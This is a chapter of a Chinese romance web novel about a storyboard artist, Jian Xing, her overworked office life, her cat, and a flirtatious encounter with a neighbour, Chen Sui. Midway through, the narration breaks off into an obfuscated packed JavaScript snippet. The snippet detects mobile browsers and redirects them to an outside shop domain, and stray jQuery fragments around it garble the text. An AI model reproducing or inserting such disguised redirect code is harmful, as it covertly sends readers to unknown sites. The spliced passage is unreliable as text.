默认冷灰
24号文字
方正启体

4. 看见了吗

作者:仙贝瑞拉本书字数:K更新时间:
    他身上没有猫薄荷的味道,干干净净,像是某种木质香调。裹在被窝里,被阳光完全笼罩烘干的感觉,又仿佛凛冬深夜里点燃的火光,干燥的柴木在火焰里燃烧、迸溅。


    很温暖,很好闻,让人很想靠近。


    简幸的鼻尖几乎要碰到陈遂的胸口,薄薄一层布料,她的呼吸轻而易举越过它,渗透进去。隔着这层布料,轻轻地洒在他的肌肤。完全被他身上这股好闻的木质香调占据,她像小猫一样嗅了嗅,似乎在确认他的味道。


    好香,她喜欢这个味道。


    陈遂垂眸,视野里是她的头顶,弧度优越的小翘鼻,时不时颤动的纤长睫毛。花香味和她的气息横冲直撞,侵占他的鼻腔,也在他的胸口烙下一小块灼热的痕迹。


    太近了。


    呼吸微窒,他不敢动。手垂在腿边,指尖微微蜷缩。夏天的高温在这个瞬间突破边界,一股脑儿地钻进他的身体。


    有点热。


    由内到外。


    扯扯嘴角,他刚开口:“你还真——”


    “你好香啊。”下意识的,简幸脱口而出,抬头,一双澄澈的杏眼望着他。没有任何欲念,干净如一汪清泉。


    须臾间,她的气息从他的胸口向上,拂过他的喉结,在他的下颌短暂停留。随即,她头顶不听话的发丝蹭过他的下巴,留下一小块儿痒意。


    额头差点撞到他的下巴,她才意识到距离太近了,完全超出了普通人的正常社交范围,愣了一下,连忙往后退开一步。


    “没有猫薄荷。”简幸说,“但是你好香。”


    “……”


    高手。


    一脸无辜地说乱人心智的话,再以退为进,完全是高手。


    陈遂坐在阶梯教室中间第六排,听教授讲期末考试全开卷的公共课,在重点句子下面画横线,脑子里不合时宜地浮现一个画面,楼上那个女生凑到他面前闻他身上的味道。


    如同按下循环键,一遍又一遍,重复播放。


    明明很短暂,她的味道和呼吸却像是还残留在他周身,不断萦绕。


    啧。


    他皱了下眉,有一种复盘之后的懊恼。他当时措手不及,占了下风。


    “陈遂。”


    一下课,陈遂拿上课本,刚踏出教室门,就被从后门冲过来的女生拦住了。差点撞人身上,他紧急刹车后退了半步。跟在身后嚷嚷着晚上吃什么的好友唐烨也随之趔趄,鼻子差点和他的后脑勺来一个亲密接触。越过他的肩膀,好奇地往外看。


    叫住陈遂的女生举着手机晃了晃,“加你微信三次了,你通过一下。”


    陈遂不咸不淡嗯了一声:“什么事?”


    女生说:“没事就不能加你吗?”


    “不太方便。”陈遂说,“我有事儿,挺急的。”


    女生不依不饶:“有什么事能这么急,连通过微信的时间都没有。”


    “急着回去遛狗。”


    “……”


    女生张了张嘴,欲言又止,难以置信他为了拒绝她甩出来的理由居然只是遛狗?


    陈遂越过她,径直从她身边走过。


    唐烨咧着嘴,尴尬地跟女生打了个招呼,追上陈遂,苍蝇似的在他身边来回走动,嗡嗡嗡的。


    “哥们儿,我们话剧社台柱子!”


    “人家学习好,家里有钱,人美心善,还经常投喂学校里的小猫,这都没让你心动?”


    “真不知道你小子要找一个什么天仙女朋友。”


    教学楼一楼大厅有一整面墙的镜子,陈遂路过的时候总会照一下,今天也不例外。


    唐烨对此早已习惯。一切反光的东西都能被他当镜子用,但凡路过,就是硬控他的神器,突然停下几秒是常事。


    他承认,这哥们儿确实有点姿色。


    抬手抓了抓头发,陈遂单手插兜,抄起手机往外走:“上学期造谣我跟她搞暧昧玩弄别人感情的事儿,你是一句不提。”


    正常大小的手机在他的手里显得有点小,他单手打字,速度飞快,敲得噼里啪啦。


    唐烨一脸懵:“啥时候的事?”


    不等陈遂提醒他,他猛地被一段回忆敲了下脑子,恍然大悟,“喔!我腿摔了你替我当白马王子那匹马上场表演那次?!”


    陈遂:“嗯。”


    唐烨啧啧两声:“就那两天也能沾上桃花债,还能说啥啊兄弟,牛逼。”


    他的语气有点幸灾乐祸,陈遂懒得搭理。


    “打包三食堂炒面,回宿舍开两把?”走到岔路口,唐烨回头问他。


    陈遂收起手机:“真回去遛狗。”


    唐烨点头:“得,爱狗不爱我呗。”


    陈遂瞥他一眼:“说点儿有用的。”


    “呵。”唐烨轻哼一声,视线扫射,抱着胳膊打量他一番,语气揶揄,“我怎么老觉得你是家里藏人了。上回那个?”


    挺奇怪。


    他没指名道姓,但陈遂的脑子里顿时浮现出一张脸。


    漂亮的、精巧的、明媚的一张脸。


    -


    五点半的下班闹钟响起的那一刻,导演在群里发了一条消息。


    明天早上开晨会,讨论新版本剧情,计划下周投入拍摄,然后特别艾特简幸,让她明天一早把新的分镜拿给他,如果有什么要改动的地方,才能尽快改动。


    简幸刚站起来,看到消息,又坐下了。


    汪雨斓坐着椅子滑过来,凑到简幸身边,小声嘀咕:“这你不炸?”


    “那能怎么办。”简幸伸手,重新开电脑,“项目一直拖着不开始,我就要一直反复画开头,导演和编剧的垃圾脑洞实在是太多了。我唯一能做的事是祈祷它立马开机,要不就干脆别拍。”


    汪雨斓歪在椅子上,玩工牌绳子:“要是投资方真的跑路不拍了,你之前画的那些分镜不就白画了吗?”


    简幸面色寡淡,上了一天班被吸干了精气,只剩下淡淡的死人感:“拍到一半跑路才是真的天塌了。”


    隔壁组去年就遇到了这种事,投资方不稳定,出尔反尔,最后直接甩手走人跑路了。但好在只是小成本网络剧,前期投入不多,方便及时止损,亏损也能从其他项目补足。


    这件事她还是听汪雨斓说的,那会儿她刚大学毕业,踌躇满志地踏进这家著名导演的工作室,对即将从事的行业和工作充满期待。


    不到一年,她快要被反复修改的分镜画稿折磨到没有脾气了。


    “万事开头难,我理解,但这他妈已经是第七次开头了。”汪雨斓看着她拿起数位板,叹了一口气,“我写方案累,我也替你累。”


    简幸左手撑着下巴,右手捏着笔:“他们明天如果提修改意见,最好是想到了什么空前绝后惊为天人的绝美高光剧情和拍摄手法,不然我会把他们都杀了。”


    “加我一个。”汪雨斓说完,坐着椅子滑了回去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025966|194403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。她手上有一堆待办事项,打算今晚简单加一个班,把deadline是明天的事收个尾。


    工作一旦堆起来了,就什么都不想做了。


    简幸也这样,尤其遇到难以推进的环节时,她的脑子会自动摆烂,开始放空。


    除了画分镜。


    她是喜欢画画的,后来了解到分镜师这个职业,觉得有意思,尝试学习这个专业之后好像变得更加喜欢了。有实力加上运气不错,成功入职喜欢的导演的工作室。


    但俗话说的好,对一个人袪魅的最好方式,是和他一起共事。


    不到一年,滤镜早被她扔进河沟里,每次看见消息闪烁,只想锤爆导演的狗头。


    画分镜画得太专注,汪雨斓什么时候走的简幸都不知道。靠在椅子上伸了个懒腰,拿起手机,看见汪雨斓发的消息。


    她说给她留了一个桑葚抹茶面包在她桌上,让她别加班太晚,更别饿着肚子回家。


    -有人接你吗?


    简幸咬下一口桑葚抹茶面包,单手打字回了个好,对面突然跳出来这条消息。


    她说没有。


    汪雨斓说,你要不谈个恋爱吧,晚上加班的话有男朋友接你下班,至少安全一点。


    简幸打了一串“哈哈哈”,回她,这不是男朋友,这是白嫖一个保镖。


    汪雨斓表示肯定,白嫖多好啊,就要白嫖,我已经被生活折磨得不想为任何事情买单了。


    天色半明半暗,昏昏沉沉。


    路灯在八点十分准时点亮,盏盏霓虹沿着街道盛开。


    简幸路过小会议室,发现里面亮着灯,隔壁组还在激情昂扬地讨论他们即将投入的短剧。


    进了电梯,她点开家用摄像头,透过小小的摄像头,看见乌冬面。


    大概是她太久没有回家,乌冬面跑到家门口等她,端端正正坐在那里,毛茸茸的尾巴卷着腿脚,模样乖巧。


    简幸的心窝被轻轻戳了一下,给喂食器加了猫粮和冻干。


    乌冬面听见声音,扭头看过来,停顿两秒,迈着步子跑过来。它第一时间没有吃猫粮,只是埋下脑袋往摄像头的地方探了探,然后伸出爪子,碰了碰镜头,仿佛在隔着小小的镜头碰简幸的脸。


    看见这一幕,简幸下班的步子变快了不少。


    面包的透明包装袋扔进垃圾桶里,顺路买了一杯荔枝冰酿,公交到站开门,她飞奔下车。


    正是夜晚热闹的时候,东门这条街冒出来不少小摊小贩,雨后春笋似的。昏黄路灯从头顶笼罩下来,烟火气晕开,时不时响起爆油的滋滋声。烟雾缭绕,香味扑鼻。


    各个摊位前挤着人群,外卖电瓶车从绿道飞驰而过。


    简幸穿过被茂盛绿荫覆盖的小径,抬头看见路中央站着一个人。个高腿长,肩背宽阔,后脑勺都冒着帅气,他站在那儿一动不动。


    那只巨大的伯恩山坐在他的腿边,一个劲儿地贴着他。


    她张了张嘴,想喊他,突然意识到她竟然不知道他的名字。


    “欸。”


    只好如此草率地称呼他。


    男生闻声回头,晦涩的光影勾勒他的面部轮廓,鼻梁高挺,下颌线利落分明,每一寸都像是被精心雕琢过。那双桃花眼缓冲了棱角的凌厉,飘落的绯色花瓣落在他微微上翘的眼尾。


    简幸忍不住在心底喟叹。


    唉,真不怪乌冬面。


    这谁看了不迷糊。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)